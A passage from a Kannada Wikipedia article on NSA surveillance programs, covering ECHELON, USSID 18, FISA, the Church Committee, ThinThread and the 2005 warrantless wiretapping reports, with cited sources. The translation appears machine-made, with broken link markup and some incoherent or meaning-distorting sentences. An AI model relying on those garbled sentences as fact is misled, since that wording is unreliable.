ಪರಿಗಣಿಸಿಬಹುದಾಗಿದೆ.ಇಂಟೆರ್ ನೆಟ್ ಜಾಲವನ್ನು ಸಂಪೂರ್ಣ ತನ್ನ ಹತೋಟಿಗಾಗಿ ಈ ಸಂಸ್ಥೆಗಾಗಿ [[ರಹಸ್ಯ]] ವಿಷಯಗಳ ಬಹುದ್ದೇಶದ ಜಾಲಗಳು ಇದರಲ್ಲಿ ಕಾರ್ಯಪ್ರವೃತ್ತಿಗಳನ್ನು <ref>{{cite web |publisher=United States Patent and Trademark Office |title=United States Patent 6,947,978 - Method for geolocating logical network addresses. |url=http://patft.uspto.gov/netacgi/nph-Parser?Sect2=PTO1&Sect2=HITOFF&p=1&u=%2Fnetahtml%2FPTO%2Fsearch-bool.html&r=1&f=G&l=50&d=PALL&RefSrch=yes&Query=PN%2F6947978 |date=2005-09-20 |accessdate=2008-07-04}}</ref> ಪರಿಗಣಿಸಲಾಗುತ್ತದೆ. ==NSA ಕಾರ್ಯಕ್ರಮ== ===ECHELON=== {{main|ECHELON}} NSA/CSS,ಎರಡು ಒಟ್ಟಿಗೆ ಸಮಾನ ಕಾರ್ಯವನ್ನು[[ಯುನೈಟೆಡ್ ಕಿಂಗ್ ಡಮ್]] ನಲ್ಲಿನ ([[ಸರ್ಕಾರದ ಸಂಪರ್ಕಗಳ ಪ್ರಧಾನ ಕಚೇರಿಗಳು]]),[[ಕೆನಡಾ]][[ಸಂಪರ್ಕಗಳ ಭದ್ರತಾ ಸ್ಥಾಪನೆ]]),[[ಆಸ್ಟ್ರೇಲಿಯಾ]],[[ಡಿಫೆನ್ಸ್ ಸಿಗ್ನಲ್ಸ್ ಡೈರೆಕ್ಟೊರೇಟ್]] ಮತ್ತು [[ನ್ಯುಜಿಲ್ಯಾಂಡ್]]([[ಸರ್ಕಾರಿ ಸಂಪರ್ಕದ ಸೆಕ್ಯುರಿಟಿ ಬ್ಯುರೊ]])ಇಲ್ಲದೇ ಹೋದರೆ [[UKUSA{/ ಗ್ರುಪ್ {2/}ನಲ್ಲಿನ ಕಾರ್ಯಾಚರಣೆಗೆECHELON|UKUSA{/ ಗ್ರುಪ್ {2/}ನಲ್ಲಿನ ಕಾರ್ಯಾಚರಣೆಗೆ[[ECHELON]]]]ಪದ್ದತಿಯನ್ನು ಅನುಸರಿಸಲಾಗುತ್ತದೆ. ಇದರ ಸಾಮರ್ಥ್ಯವನ್ನು ಅಳೆಯಲು ಉಸ್ತುವಾರಿಯ ಕಾರ್ಯಕ್ರಮಗಳನ್ನು ವಿಶ್ವದ ನಾಗರಿಕ ಸೌಲಭ್ಯದ ಬಗ್ಗೆ ಗಮನ ಹರಿಸಲು ಅದರ ಸಂವಹನಕ್ಕಾಗಿ [[ಫಾಕ್ಸ್]], [[ಟೆಲೆಫೋನ್]],ಮತ್ತು ಡಾಟಾ ಸಂಚಾರವನ್ನು ಗಮನಿಸಲಾಗುತ್ತದೆ.ಅದೇ ಡಿಸೆಂಬರ್ 16,2005ರಲ್ಲಿ ''[[ನ್ಯುಯಾರ್ಕ ಟೈಮ್ಸ್]]'' ನಲ್ಲಿ ಇದರ ಕಾರ್ಯಚಟುವಟಿಕೆಯನ್ನು ವಿವರಿಸಿ ಲೇಖನವನ್ನು <ref>{{cite web |url=https://www.nytimes.com/2005/12/16/politics/16program.html?ei=5088&en=e32070df8d623ac1&ex=1292389200&pagewanted=print |work=The New York Times |title=Bush Lets U.S. Spy on Callers Without Courts |author=[[James Risen]] and [[Eric Lichtblau]] |date=December 16, 2005 |accessdate=2008-07-04 }}</ref> ಪ್ರಕಟಿಸಿತ್ತು. ಸದ್ಯದ ಎಲ್ಲಾ ಆಧುನಿಕ ದೂರವಾಣಿ,ಇಂಟೆರ್ ನೆಟ್ ,ಫ್ಯಾಕ್ಸ್ ಮತ್ತು ಉಪಗ್ರಹದ ಸಂಪರ್ಕಗಳು ಇತ್ಯಾದಿಗಳನ್ನು ಈ ಸಂಸ್ಥೆಯು ದುರುಪಯೋಗಪಡಿಸಿಕೊಳ್ಲಲು ಮುಂದುವರೆದ ತಂತ್ರಜ್ಞಾನವು ಎಲ್ಲದಕ್ಕೂ ಬೇಕಾಗುತ್ತದೆ.ಇದು 'ಮುಕ್ತ ಹವೆ' ಎಂಬ ವಿಶ್ವದ ಜಾಲದ ಬಗ್ಗೆ ರೇಡಿಯೊ ಸಂಪರ್ಕವು ಅದರ ಸಾಮಾನ್ಯ ರೀತಿಯಲ್ಲಿ ಕಂಡುಬರುತ್ತದೆ. NSAದ ಒಟ್ಟು ಸಂಪರ್ಕದ ಕಾರ್ಯಚಟುವಟಿಕೆಗಳನ್ನು ಬಹಳಷ್ಟು ಟೀಕೆಗಳು ಪ್ರಾರಂಭವಾದವು.NSA/CSS ಎರಡು ಸಂಸ್ಥೆಗಳು ಇಡೀ ಅಮೆರಿಕಾದ [[ರಹಸ್ಯ]]ವನ್ನು ಕಾಪಾಡುವ ಸಂಸ್ಥೆಯಾಗಿದೆ. NSAದ [[ಯುನೈಟೆದ್ ಸ್ಟೇಟ್ಸ್ ಸಿಗ್ನಲ್ಸ್ ಇಂಟೆಲಿಜೆನ್ಸ್ ಡೈರೆಕ್ಟೆವ್ 18]](USSID 18)ಯಾವುದೇ ಗುಪ್ತಚರ ವಿಭಾಗಕ್ಕೆ ಸೇರಿದ ಮಾಹಿತಿ ಅಥವಾ ವಿಷಯವನ್ನು ಕಲೆಹಾಕುವುದನ್ನು ನಿರ್ಭಂಧಿಸುತ್ತದೆ."U.S. ವ್ಯಕ್ತಿಗಳು,ಸಂಘಸಂಸ್ಥೆಗಳು ನಿಗಮಗಳು ಅಥವಾ ಸಂಘಟನೆಗಳು "ಇವುಗಳ ಬಗ್ಗೆ ಅಧಿಕೃತ ಪರವಾನಿಗೆಯನ್ನು ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್ ಅಟಾರ್ನಿ ಜನರಲ್ ಅವರ ಮೂಲಕ ಪಡೆದು ಮುಂದುವರೆಯಬೇಕಾಗುತ್ತದೆ.ಯಾವಾಗ ವಿದೇಶದಲ್ಲಿ ಸ್ಥಾಪಿತ ವಿಷಯಗಳ ಬಗ್ಗೆ ಅಥವಾ ವಿದೇಶಿ ಇಂಟೆಲಿಜೆನ್ಸ್ ಸರ್ವೆಲ್ಲನ್ಸ್ ಕೋರ್ಟ್ U.S ಗಡಿಯೊಳಗೆ ಇದ್ದರೆ ಅದನ್ನು ಪರಿಗಣಿಸಿ ಯಾವುದೇ ಮಾಹಿತಿಯನ್ನು ಬಹಿರಂಗಗೊಳಿಸುವಂತೆ ಅದು ಸೂಚಿಸುತ್ತದೆ. [[.U.S.ಸುಪ್ರೀಮ್ ಕೋರ್ಟ್]] ಈಗಾಗಲೇ ಇಂಟೆಲಿಜೆನ್ಸ್ ಏಜೆನ್ಸಿಗಳು ಅಮೆರಿಕಾ ನಾಗರಿಕರಅಭಿಪ್ರಾಯಕ್ಕೆ ವಿರುದ್ದವಾಗಿ ಸರ್ವೇಕ್ಷಣೆಯನ್ನು ಕೈಗೊಳ್ಳಲು ಸಾಧ್ಯವಿಲ್ಲ ಕೆಲವು ಅತಿ ಅಪರೂಪದ ಪ್ರಕರಣಗಳಲ್ಲಿ[[U.S.ನ ಅಸ್ತಿತ್ವದ ಬಣದ ಸಂಸ್ಥೆ]] ಬಗ್ಗೆ ಮಾಹಿತಿ ಸಂಗ್ರಹಣೆಗೆ USSID 18ವೇವರ್ ನ ಪರವಾನಿಗೆ ಇಲ್ಲದೇ ವಿಷಯವನ್ನು ಪಡೆದುಕೊಳ್ಳಬಹುದಾಗಿದೆ.ಉದಾಹರಣೆಗೆ [[ಸೆಪ್ಟೆಂಬರ್ 11, 2001 ರ ದಾಳಿಗಳು]];ಹೇಗೆಯಾದರೂ [[USA ಪ್ಯಾಟ್ರಿಯಟ್ ಕಾನೂನು]] ಇತ್ತೀಚಿಗೆ ಬದಲಾವಣೆ ತಂದು ಖಾಸಗಿ ಅಧಿಕೃತೆಯನ್ನು ಸುಲಭವಾಗಿ ಜಾರಿಗೆ ತರಲು ಯತ್ನಿಸಿದೆ. ಅಲ್ಲಲ್ಲಿ ಹಲವಾರುUSSID 18ನ ಕೆಲವು ನಿಯಮಗಳನ್ನು ಉಲ್ಲಂಘಿಸಿದ ಪ್ರಕರಣಗಳು ವರದಿಯಾಗಿವೆ,ಆದರೂ NSAನ ಶಿಸ್ತಿನ ಕಟ್ಟುನಿಟ್ಟಿನ ನಿಯಮಗಳು ಇಂತಹ ಕಾನೂನು ಉಇಲ್ಲಂಘನೆಯನ್ನು ತಡೆಯಲು {{Citation needed|date=February 2007}}ಯತ್ನಿಸುತ್ತದೆ. ಇದಕ್ಕೂ ಹೆಚ್ಕಿನದೆಂದರೆ ECHELON ಈ ಸಂಸ್ಥೆಯ ಕಾರ್ಯಚಟುವಟಿಕೆಯನ್ನು ಗಮನಿಸಿದರೆ [[UKUSA]]ದ ಹೊರಗಿರುವ ನಾಗರಿಕರ ಅನವಶ್ಯಕ ವಿವರಗಳನ್ನು ಕಲೆಹಾಕಲು ನೆರವಾಗುತ್ತದೆ ಎಂದೂ ಅಪವಾದಗಳಿವೆ.ಬೇರೆ ದೇಶಗಳ [[ರಾಜಕೀಯ]] ಮತ್ತು [[ಕೈಗಾರಿಕಾ ರಹಸ್ಯ ವಿಷಯ]]ಗಳನ್ನು ಅನಧಿಕೃತವಾಗಿ ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್ ಕಲೆಹಾಕುತ್ತದೀಂದು ದೂರುಗಳು ಕೇಳಿ <ref name="EP">{{cite web|url=http://www.fas.org/irp/program/process/rapport_echelon_en.pdf|format=PDF|title=European Parliament Report on ECHELON|year=2001|month=July|accessdate=2008-07-04}}</ref><ref>{{cite web|url=http://cryptome.org/echelon-nh.htm|title=Nicky Hager Appearance before the European Parliament ECHELON Committee|year=2001|month=April|accessdate=2008-07-04|archiveurl=https://web.archive.org/web/20011021055210/http://cryptome.org/echelon-nh.htm|archivedate=2001-10-21}}</ref> ಬಂದಿವೆ. ಉದಾಹರಣೆಗಾಗಿ ಗಿಯರ್ ಲೆಸ್ [[ಗಾಳಿ ಟರ್ಬೈನ್]] ತಂತ್ರಜ್ಞಾನವನ್ನು ಜರ್ಮನ್ ಕಂಪನಿ [[ಎನೆರ್ಕೊನ್]] ಮಾಡಿದರೆ ವಾಕ್ ಮತ್ತು ಶ್ರವಣ ತಂತ್ರಜ್ಞಾನವನ್ನು ಬೆಲ್ಜಿಯಮ್ ನ [[ಲರ್ನ್ ಔಟ್ &amp;ಹಾಸ್ಪೈ]] ಕಂಪನಿಯು <ref>ಡೈ ಜೆಟ್ : 40/1999 ''"ವೆರ್ರಟ್ ಅಂಟರ್ ಫ್ರೆಂಡುನ್ "'' ("ಟ್ರೆಚರಿ ಅಮಂಗ್ ಫ್ರೆಂಡ್ಸ್", ಜರ್ಮನ್ ), ದೊರೆಯುವ ಸ್ಥಳ [http://www.zeit.de/1999/40/199940.nsa_2_.xml archiv.zeit.de]</ref><ref>ರಿಪೊರ್ಟ್ಸ್ A5-0264/2001 ಆಫ್ ದಿ ಯುರೊಪಿಯನ್ ಪಾರ್ಲಿಮೆಂಟ್ (English), ದೊರೆಯುವ ಸ್ಥಳ [http://www.europarl.eu.int/omk/sipade3?PROG=REPORT&amp;L=EN&amp;PUBREF=-//EP//TEXT+REPORT+A5-2001-0264+0+NOT+SGML+V0//EN ಯುರೊಪಿಯನ್ ಪಾರ್ಲಿಮೆಂಟ್ ವೆಬ್ ಸೈಟ್]{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</ref> ವಹಿಸಿಕೊಂಡಿದೆ. ''ಬಾಲ್ಟ್ ಮೊರ್ ಸನ್'' ನಲ್ಲಿ 1995ರಲ್ಲಿ ಪ್ರಕಟಗೊಂಡ ಲೇಖನದಲ್ಲಿ [[ಏರ್ ಬಸ್]] ಎಂಬ ಏರೊಸ್ಪೇಸ್ ಕಂಪನಿಯು ಸುಮಾರು $6ಬಿಲಿಯನ್ ಕಳೆದುಕೊಂಡಿದ್ದು ಅದು[[ಸೌದಿ ಅರೇಬಿಯಾ]]ದೊಂದಿನ ಒಪ್ಪಂದದಿಂದಾಗಿ,ಇದನ್ನು NSA ಯು 1994ರಲ್ಲಿ ಏರ್ ಬಸ್ ಅಧಿಕಾರಿಗಳು ಸೌದಿ ಅಧಿಕಾರಿಗಳಿಗೆ ಲಂಚ ನೀಡುವ ಮೂಲಕ ಈ ಒಪ್ಪಂದ ಪಡೆದುಕೊಂಡರೆಂದು ವರದಿ <ref>{{cite web |url=http://news.bbc.co.uk/1/hi/world/europe/820758.stm |title=BBC News | EUROPE | Echelon: Big brother without a cause |accessdate=2008-07-04 | date=July 6, 2000}}</ref><ref>{{cite web |url=http://www.cyber-rights.org/interception/stoa/ic2kreport.htm#Report |title=Interception capabilities 2000 |accessdate=2008-07-04}}</ref> ಮಾಡಿತ್ತು. ಈಗಲೂ ಕೂಡಾ NSA/CSS ಜಂಟಿಯಾಗಿ ವಿದೇಶಗಳಲ್ಲಿನ ಗೂಧಚರ್ಯ,ರಾಷ್ಟ್ರೀಯ ಭದ್ರತೆ ಮತ್ತು ವಿದೇಶಿಯರ ವಿವರಗಳನ್ನು ಪಡೆಯಲು ಯಾವಾಗಲೂ ನಿರತವಾಗಿರುತ್ತವೆ. ===ಸ್ಥಳೀಯ ಚಟುವಟಿಕೆ=== NSA ದ ಮೂಲ ಉದ್ದೇಶವು ತನ್ನ [[ಆಡಳಿತಾತ್ಮಕ ಆದೇಶ 12333]],ಪ್ರಕಾರ ವಿದೇಶದ ರಾಜಕೀಯ ಮತ್ತು "ವಿದೇಶ ಇಂಟೆಲೆಜೆನ್ಸ್ ಅಥವಾ ಕೌಂಟರ್ ಇಂಟಎಲಿಜೆನ್ಸ್ "ಆದರೆ ''ಅಲ್ಲ'' " ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್ ವ್ಯಕ್ತಿಗಳ ಸ್ಥಳೀಯ ಮಾಹಿತಿಯು" ಅವರು ತಮ್ಮ ವಿವರಗಳನ್ನು ಕಲೆಹಾಕುತ್ತದೆ. ತಾನು ವಿದೇಶದ ಇಂಟೆಲಿಜೆನ್ಸ್ ವಿವರಗಳನ್ನು ಕಲೆಹಾಕಲು ಅಥವಾ ಇನ್ನುಳಿದ ಮಾಹಿತಿ ಸಂಗ್ರಹಿಸಲು FBI ಸಂಸ್ಥೆಯ ಮೇಲೆ ಅವಲಂಬಿತವಾಗಿರುತ್ತದೆ.USAದ ಗಡಿ ಹಾಗು ಸುತ್ತಮುತ್ತಲಿನ ವಿವರ ತೆಗೆದುಕೊಳ್ಳಲು USAದ ರಾಯಭಾರಿ ಕಚೇರಿ ಹಾಗು ವಿದೇಶಗಳ ಗುರಿಗಳ ವಿವರಗಳನ್ನು ಅದು ಪಡೆದುಕೊಳ್ಳುತ್ತದೆ. NSAದ ಸ್ಥಳೀಯ ಸರ್ವೆಲನ್ಸ್ ಚಟುವಟಿಕೆಗಳು [[U.S.ನ ಸಂವಿಧಾನದ ನಾಲ್ಕನೆಯ ತಿದ್ದುಪಡಿ]] ಮೂಲಕ ಸೀಮಿತಗೊಂಡಿವೆ.ಆದರೆ ಇಲ್ಲಿ ಹೊರದೇಶಗಳಲ್ಲಿರುವ U.S.ನಾಗರಿಕರಲ್ಲದವರ ವಿವರ ಸಂಗ್ರಹಿಸಲು NSA ಮುಂದಾಗುತ್ತದೆ.ಆದರೆ ಈ ಸಂವಿಧಾನದ ನಿಭಂಧನೆಗಳು ಇಲ್ಲಿ ಅನ್ವಯಿಸುವದಿಲ್ಲ.ಆದ್ದರಿಂದ U.S ಕಾನೂನಿನ ವ್ಯಾಪ್ತಿಗೆ ಒಳಪಟ್ಟರೂ ಅದು ಅತ್ಯಂತ ಸೂಕ್ತವೆನಿಸಬಹುದಾದ ಸಂದರ್ಭದಲ್ಲಿ ಮಾತ್ರ <ref name="Jordan_David">ಡೇವಿಡ್ ಅಲನ್ ಜೊರ್ಡಾನ್. [http://iilj.org/documents/Jordan-47_BC_L_Rev_000.pdf ಡಿಕ್ರಿಪ್ಟಿಂಗ್ ದಿ ಫೊಥ್ ಅಮೆಂಡ್ ಮೆಂಟ್ : ವಾರಂಟ್ ಲೆಸ್ಸ್ NSA ಸರ್ವೆಲ್ಲನ್ಸ್ ಮತ್ತು ದಿ ಎನ್ಹಾನ್ಸ್ಡ್ ಎಕ್ಸೆಪೆಕ್ಟೇಶನ್ ಆಫ್ ಪ್ರೈವಸಿ ಪ್ರೊವೈಡೆಡ್ ಬೈ ಎನ್ ಕ್ರಿಪ್ಟೆಡ್ ವಾಯಿಸ್ ಒವರ್ ಇಂಟೆರ್ ನೆಟ್ ಪ್ರೊಟೊಕೊಲ್] {{Webarchive|url=https://web.archive.org/web/20071030095250/http://www.ss8.com/pdfs/Ready_Guide_Download_Version.pdf |date=2007-10-30 }}. ಬಾಸ್ಟನ್ ಕಾಲೇಜ್ ಲಾ ರಿವಿವ್. ಮೇ 2005 Last access date January 23, 2007</ref> ಪರಿಗಣಿಸಲಾಗುತ್ತದೆ. ಸ್ಥಳೀಯ ವಿಶೇಷ ಮಾಹಿತಿಯ ಸರ್ವೆಲನ್ಸ್ ಕೈಗೊಳ್ಳಲು ಬೇಕಾದ ನಿಯಮಗಳು [[ವಿದೇಶಿ ಇಂಟೆಲಿಜೆನ್ಸ್ ಸರ್ವೆಲನ್ಸ್ ಆಕ್ಟ್ ಆಫ್ 1978]]ರಲ್ಲಿ (FISA)ನಮೂದಿಸಲಾಗಿದೆ.ಇದು ಹೊರದೇಶಗಳಲ್ಲಿರುವ U.S [[ನಾಗರಿಕ]]ರ ರಕ್ಷಣೆ ಮಾಡುವ ಅವಕಾಶ ನೀಡುವದಿಲ್ಲ ಯಾಕೆಂದರೆ ಇವರು [[U.S.ಪ್ರದೇಶ]]ದ ಆಚೆ <ref name="Jordan_David" /> ವಾಸವಾಗಿರುತ್ತಾರೆ. .ಈ ಚಟುವಟಿಕೆಗಳು ಬಹುತೇಕವಾಗಿ ಸಾರ್ವಜನಿಕವಾಗಿ ದೂರವಾಣಿ ಕದ್ದಾಲಿಕೆ ಡಾಟಾ ಮೂಲದ ಕಾರ್ಯಕ್ರಮಗಳ ಮಾಹಿತಿ ಇತ್ಯಾದಿಗಳನ್ನುNSA ಅನಧಿಕೃತವಾಗಿ ವಿವರ ಪಡೆಯುತ್ತದೆಯೋ ಎಂಬ ಸಂಶಯದ ಹುತ್ತ ಬೆಳೆಯುತ್ತದೆ.ಇದರಿಂದಾಗಿ ಖಾಸಗಿಯವರ ಮಾಹಿತಿ ಸಂಗ್ರಹದ ಅನಧಿಕೃತೆ ಮತ್ತು ಕಾನೂನು ಉಲ್ಲಂಘನೆಯ ಚಟ್ವಟಿಕೆಗಳ ಬಗ್ಗೆಯೂ ಈ ಸಂಸ್ಥೆಯ ಮೇಲೆ ಸಂಶಯದ ಕತ್ತಿ ನೇತಾಡುವುದು ಸುಲಭ ಸಾಧ್ಯವಾದುದು. ====ಸಂಪರ್ಕ ಜಾಲದ ಕದ್ದಾಲಿಕೆ ಕಾರ್ಯಕ್ರಮ==== =====ರಿಚರ್ಡ್ ನಿಕ್ಸನ್ ಅವರ ಅದೇಶದ ಮೇರೆಗೆ ಸ್ಥಳೀಯ ಸಂಪರ್ಕ ಜಾಲದ ಕದ್ದಾಲಿಕೆ===== {{Further|[[Church Committee]]}} ರಾಷ್ಟ್ರಾಧ್ಯಾಕ್ಷ [[ರಿಚರ್ಡ್ ನಿಕ್ಸನ್]] ಅವರ ರಾಜಿನಾಮೆಯ ನಂತರ [[ಕೇಂದ್ರ ಗೂಢಚರ್ಯದ ಏಜೆನ್ಸಿ]]ಯ (CIA) ಹಾಗು NSA ಸೌಲಭ್ಯಗಳಲ್ಲಿನ ಬಳಕೆಯ ಬಗೆಗಿನ ಹಲವಾರು ತನಿಖೆ ಮೂಲಕ ಈ ಸಂಸ್ಥೆಯ ದುರುಪಯೋಗದ ಪ್ರಕರಣಗಳನ್ನು ಪತ್ತೆ ಹಚ್ಚಲಾಗಿದೆ. ಸೆನೇಟರ್[[ಫ್ರಾಂಕ್ ಚರ್ಚ್]] ಅವರ ನೇತೃತ್ವದ ತನಿಖಾ ಸಮಿತಿಯು(ದಿ [[ಚರ್ಚ್ ಕಮೀಟಿ]] ಮೊದಲು ಕೆಲವು ಮಾಹಿತಿಗಳನ್ನು ಅಪರೂಪವಾಗಿ ಕಲೆಹಾಕಿತು.ಅಂದರೆ CIA ನ ಯೋಜನೆಯ (ಇದನ್ನು ಅಧ್ಯಕ್ಷ [[ಜಾನ್ ಎಫ್ ಕೆನ್ನಡಿ]] ಆದೇಶಿಸಿದ್ದ ಅಂದರೆ [[ಫಿಡೆಲ್ ಕ್ಯಾಸ್ಟ್ರೊ]] ಹತ್ಯೆಗೆ ಸಂಚು ರೂಪಿಸಿದ್ದನ್ನು ಇಲ್ಲಿ ಉಲ್ಲೇಖಿಸಲಾಗಿತ್ತು. ಈ ತನಿಖೆಯಿಂದ ಅಮೆರಿಕಾ ನಾಗರಿಕರ ಸಂಪರ್ಕ ಜಾಲದ NSA ದ ಕದ್ದಾಲಿಕೆಯನ್ನು ಪಟ್ಟೆಹಚ್ಚಲಾಯಿತು.ಇದು ನಾಗರಿಕರ ಚಟುವಟಿಕೆಗಳನ್ನು ಕದ್ದಾಲಿಕೆಯನ್ನು ಅದು ವ್ಯವಸ್ಥಿತವಾಗಿ ಮಾಡಿತು. ಚರ್ಚ್ ಕಮೀಟಿಯ ವಾದವಿವಾದಗಳ ಆಲಿಸಿದ ನಂತರ [[ಫಾರೆನ್ ಇಂಟೆಲಿಜೆನ್ಸ್ ಸರ್ವೆಲ್ಲನ್ಸ್ ಆಕ್ಟ್ ಆಫ್ 1978]] ರಲ್ಲಿ ಅದು ಕಾನೂನಾಗಿ ಮಾರ್ಪಾಟಾಯಿತು. =====ತೆಳು ದಾರದ ಸಂಪರ್ಕದ ಕದ್ದಾಲಿಕೆ ಮತ್ತು ಡಾಟಾ ಹೊರತೆಗೆಯುವಿಕೆ===== {{main|ThinThread}} ಈ ಸಂಪರ್ಕ ಕದ್ದಾಲಿಕೆಯನ್ನು [[ಥಿನ್ ಥ್ರೆಡ್]] ಎಂದು ಕರೆಯಲಾಗುತ್ತದೆ.ಇದನ್ನು 1990ರಲ್ಲಿ ಪರೀಕ್ಷೆ ಮಾಡಲಾಯಿತು.ಆದರೆ ಇದನ್ನು ಮತೆಂದೂ ಕಾರ್ಯರೂಪಕ್ಕೆ ತರಲಾಗುತ್ತದೆ. ಥಿನ್ ಥ್ರೆಡ್ ಅತ್ಯಾಧುನಿಕ [[ಡಾಟಾ ಹೊರತೆಗೆಯುವುದ]]ರ ಸಾಮರ್ಥ್ಯಗಳು ಮತ್ತು ಖಾಸಗಿ ನಿರ್ಮಿತ ರಕ್ಷಣೆಗೆ ಚಟುವಟಿಕೆಗೆ ಮೀಸಲಾಗುತ್ತದೆ. ಇಂತಹ ಖಾಸಗಿ ರಕ್ಷಣೆಗಳು [[9/11]]ಭಯೋತ್ಪಾದನೆಯ ದಾಳಿಯ ನಂತರ ಅಧ್ಯಕ್ಷ ಜಾರ್ಜ್ ಡಬ್ಲು ಬುಶ್ ಅವರು ಇಂಟೆಲಿಜೆನ್ಸಿ ಸಮೂದಾಯದ ಪ್ರತಿಕ್ರಿಯೆಗಳನ್ನು ಸಂಗ್ರಹಿಸಲು ಅವರ ಆದೇಶ ನೀಡಲಾಯಿತು. ಈ ಸಂಶೋಧನೆಯು ಈ ಕಾರ್ಯಕ್ರಮದಡಿ ಯಾವ ತಂತ್ರಜ್ಞಾನವನ್ನು ಬಳಸಲಾಗಿದೆ ಎಂಬುದನ್ನು ನಂತರ ಕಂಡು <ref name="Sun">{{cite news |first=Siobhan |last=Gorman |authorlink=Siobhan Gorman |title=NSA killed system that sifted phone data legally |url=http://www.baltimoresun.com/news/nationworld/bal-te.nsa18may18,1,5386811.story?ctrack=1&cset=true |work=[[Baltimore Sun]] |publisher=[[Tribune Company]] (Chicago, IL) |date=2006-05-17 |accessdate=2008-03-07 |quote=The privacy protections offered by ThinThread were also abandoned in the post-September 11 push by the president for a faster response to terrorism. |archive-date=2007-09-27 |archive-url=https://web.archive.org/web/20070927193047/http://www.baltimoresun.com/news/nationworld/bal-te.nsa18may18,1,5386811.story?ctrack=1&cset=true |url-status=dead }}</ref> ಹಿಡಿಯಲಾಯಿತು. =====ಸಂಪರ್ಕ ಜಾಲದ ಕದ್ದಾಲಿಕೆಯನ್ನು ಜಾರ್ಜ್ ಬುಶ್ ಅವರ ಆದೇಶದ ಮೇರೆಗೆ ಮಾಡಲಾಗಿತ್ತು.===== {{main|NSA warrantless surveillance controversy}} ಡಿಸೆಂಬರ್ 16,2005ರಲ್ಲಿ [[ನ್ಯುಯಾರ್ಕ್ ಟೈಮ್ಸ್]] ನಲ್ಲಿ ವರದಿಯಾದಂತೆ [[ಶ್ವೇತ ಭವನ]]ದ ಒತ್ತಡ ಮತ್ತು ಅಧ್ಯಕ್ಷ [[ಜಾರ್ಜ್ ಬುಶ್]] ಅವರ ಒಂದು [[ಆಡಳಿತಾತ್ಮಕ ಆದೇಶ]]ದ ಮೇರೆಗೆ ರಾಷ್ಟ್ರೀಯ ಭದ್ರತಾ ಸಂಸ್ಥೆಯು [[ಭಯೋತ್ಪಾದನೆ]]ಯ ತಡೆಯುವ ನೆಪದಲ್ಲಿ ಆಯ್ದ ಆಮೆರಿಕನ್ ವ್ಯಕ್ತಿಗಳ [[ದೂರವಾಣಿಗಳನ್ನು ಕದ್ದಾಲಿಸು]]ವುದನ್ನು ಪತ್ತೆಹಚ್ಚಲಾಯಿತು.ವಿದೇಶದಲ್ಲಿನ ಅಮೆರಿಕನ್ ರು ಮತ್ತುU.S.ನಲ್ಲಿನ ವಿದೇಶಿಯರ ಕರೆಗಳನ್ನು ಕದ್ದಾಲಿಸಲಾಯಿತು.ಇಲ್ಲಿ [[ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್ ಫಾರೆನ್ ಇಂಟೆಲಿಜೆನ್ಸ್ ಸರ್ವೆಲ್ಲನ್ಸ್ ಕೋರ್ಟ್]] ನ [[ಸಮರ್ಥನೀಯ]] ಒಪ್ಪಿಗೆ ಇಲ್ಲದೇ ಇದನ್ನು ಮಾದಲಾಯಿತೆಂದು ಒಪ್ಪಿಕೊಳ್ಳಲಾಯಿತು.ಇದನ್ನು ಒಂದು ರಹಸ್ಯ [[ಫಾರೆನ್ ಇಂಟೆಲಿಜೆನ್ಸ್ ಸರ್ವೆಲನ್ಸ್ ಆಕ್ಟ್]] (FISA)ರಚಿಸಿ ಪ್ರಕರಣಗಳನ್ನು <ref name="NYTWarrantless">[[ಜೇಮ್ಸ್ ರೈಸನ್]] &amp; [[ಎರಿಕ್ ಲಿತ್ ಬಾಲು]] (ಡಿಸೆಂಬರ್ 16, 2005), [https://www.nytimes.com/2005/12/16/politics/16program.html ಬುಶ್ ಲೆಟ್ಸ್ U.S. ಸ್ಪೈ ಆನ್ ಕಾಲರ್ಸ್ ಉತೌಟ್ ಕೋರ್ಟ್ಸ್ ], ''[[ನ್ಯುಯಾರ್ಕ್ ಟೈಮ್ಸ್]]''</ref> ಕೈಗೆತ್ತಿಕೊಳ್ಳಲಾಯಿತು. ಇಂತಹ ಒಂದು ಸರ್ವೆಲನ್ಸ್ ಕಾರ್ಯಕ್ರಮವು ಅಧ್ಯಕ್ಷ ಜಾರ್ಜ್ ಬುಶ್ ಅವರ ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್ ಸಿಗ್ನಲ್ಸ್ ಇಂಟೆಲಿಜೆನ್ಸ್ ಡೈರೆಕ್ಟಿವ್ 18 ಸಂಸ್ಥೆಯು ಹೈಲೆಂಡರ್ ಯೋಜನೆಯನ್ನು ಕೈಗೆತ್ತಿಕೊಂಡಿತು.ಇದು ರಾಷ್ಟ್ರೀಯ ಭದ್ರತಾ ಸಂಸ್ಥೆಗಾಗಿ [[ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್ ಆರ್ಮಿ]] 513ನೆಯ ಮಿಲಿಟರಿ ಇಂಟೆಲಿಜೆನ್ಸ್ ಬ್ರಿಗೇಡ್ ಕಾರ್ಯಯೋಜನೆಯನ್ನು ಸಿದ್ದಪಡಿಸಿತ್ತು. NSA ಯು ಈ ಪ್ರಕಾರವಾಗಿ (ಸೆಲ್ ಫೋನ್ ಒಳಗೊಂಡಂತೆ)ನೆಲ ದೂರವಾಣಿಗಳು,ವೈಮಾನಿಕ ದೂರವಾಣಿ ಸಂಭಾಷಣೆಗಳು ಮತ್ತು ಉಪಗ್ರಹ ಉಸ್ತುವಾರಿಯ ಸಜಂಪರ್ಕಗಳನ್ನು ಹಿಡಿದು ಹಾಕಿತು.ಅದನ್ನು ವಿವಿಧ [[U.S. ಆರ್ಮಿ]] ಕೇಂದ್ರಗಳ ಸಂಪರ್ಕದೊಂದಿಗೆ ಮಾಹಿತಿ ಕಲೆಹಾಕಿತು.ಇದಕ್ಕಾಗಿ ಸಿಗ್ನಲ್ ಇಂಟೆಲಿಜೆನ್ಸ್ ಆಫಿಸರ್ಸ್ ಅಂದರೆ 201ನೆಯ ಮಿಲಿಟರಿ ಬಟಾಲಿಯನ್ ಅವರನ್ನೊ ಇದರಲ್ಲಿ ಸೇರಿಸಲಾಗಿತ್ತು. ಇದೇ ಸಂದರ್ಭದಲ್ಲಿ ಯುನೈಟೆಡ್ 